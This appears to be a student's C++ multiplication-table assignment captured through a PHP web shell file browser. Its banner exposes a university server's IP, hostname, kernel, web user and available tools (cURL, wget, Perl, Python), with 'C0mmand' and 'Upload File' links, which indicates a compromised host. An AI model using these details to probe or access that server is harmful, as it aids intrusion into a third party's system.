Server IP : 172.16.15.8 / Your IP : 3.139.235.177 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jdwaltersdorf/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//----------------------------------- // // James Waltersdorf // Prof. Ames // // Assignment 4 // Multiplication Table // //---------------------------------- #include <iostream> #include <iomanip> #include <fstream> using namespace std; //=================== Main Function ================= int main() { // Variables int n, //size of table i, //row number j; //multiplier //======================= Input =================== cout <<"\n\n Enter the desired size of the table ===> "; cin >> n; cout << endl; //================= Input Validation ================== while(n < 2 || n > 20) { cout <<"\n\n*******************%%{ERROR}%%************************"; cout <<"\n\n %%{ERROR}%% "; cout <<"\n\n*******************%%{ERROR}%%************************"; cout <<"\n\n ~~~!!!-Number must be between 2 & 20-!!!~~ \n"; cout <<"\n Please re-enter the desired size of the table ===> "; cin >> n; cout <<endl; } //================= Heading Alignment ================= if(n > 6) { cout <<setw(n + n - 4)<< n << " x " << n <<" Multiplication Table\n"; cout <<"\n |"; } else { cout << n << " x " << n <<" Multiplications Table\n\n"; } //============== Some Loops ================== for(i = 1; i <= n; i++) { cout <<setw(5) << i; } cout <<setw(5) <<"\n---|--"; for(i = 1; i <= n; i++) { cout <<"-----"; } for(i = 1; i <= n; i++) { cout << endl <<setw(2) << i << " |"; for(j = 1; j <= n; j++) cout <<setw(5)<< i * j; } cout <<setw(5) <<"\n---|--"; for(i = 1; i <= n; i++) { cout <<"-----"; } cout << endl << endl; return 0; }